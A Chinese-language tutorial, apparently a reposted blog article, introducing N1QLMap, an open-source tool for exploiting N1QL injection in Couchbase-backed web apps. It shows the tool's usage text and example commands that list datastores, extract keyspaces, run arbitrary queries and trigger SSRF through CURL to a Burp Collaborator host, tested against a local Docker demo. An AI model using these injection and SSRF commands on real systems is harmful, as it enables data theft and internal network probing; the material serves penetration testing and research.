您好,登錄后才能下訂單哦!
這篇文章主要講解了“怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)”吧!
N1QLMap是一款功能強(qiáng)大的N1QL注入漏洞利用工具,當(dāng)前支持針對Couchbase數(shù)據(jù)庫進(jìn)行滲透。該工具支持通過CURL進(jìn)行數(shù)據(jù)提取和SSRF攻擊。該工具基于Python開發(fā),因此具備較好的跨平臺特性。
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/FSecureLABS/N1QLMap.git
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v] (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]]) host positional arguments: host Host used to send an HTTP request e.g. https://vulndomain.net optional arguments: -h, --help show this help message and exit -r REQUEST, --request REQUEST Path to an HTTP request -k KEYWORD, --keyword KEYWORD Keyword that exists in HTTP response when query is successful --proxy PROXY Proxy server address --validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default! -v, --verbose_debug Set the verbosity level to debug -d, --datastores Lists available datastores -ks DATASTORE_URL, --keyspaces DATASTORE_URL Lists available keyspaces for specific datastore URL -e KEYSPACE_ID, --extract KEYSPACE_ID Extracts data from a specific keyspace -q QUERY, --query QUERY Run arbitrary N1QL query -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]] Runs CURL N1QL function inside the query, can be used to SSRF
首先,我們需要向request.txt文件添加一個HTTP請求,然后使用*i*來制作一個注入點,大家可以通過查看example_request_1.txt文件以供參考。
接下來,需要執(zhí)行下列命令。
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
除了Python 3環(huán)境之外,N1QLMap.py腳本不需其他任何的依賴組件。
下列組件僅Demo所需,Demo位于該項目的n1ql-demo目錄下:
Docker
Docer Compose
如需在Kali上安裝Docker和Docker Compose,請運(yùn)行下列命令:
# Docker Installation curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list apt-get update apt-get remove docker docker-engine docker.io apt-get install docker-ce # Start Docker Service systemctl start docker # Docker Compose Installation sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose
接下來,運(yùn)行下列命令即可測試Docker:
docker run hello-world
如需測試該工具并嘗試?yán)肗1QL注入漏洞,我們可以使用安裝了Couchbase和NodeJS Web應(yīng)用程序的Docker設(shè)備來進(jìn)行測試。如果已經(jīng)安裝好了上述依賴組件,我們可以直接運(yùn)行下列命令進(jìn)行測試:
cd n1ql-demo ./quick_setup.sh
現(xiàn)在,我們就可以執(zhí)行N1QLMap來進(jìn)行N1QL注入漏洞測試并從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)了。
感謝各位的閱讀,以上就是“怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對怎么使用N1QLMap從Couchbase數(shù)據(jù)庫中提取數(shù)據(jù)這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。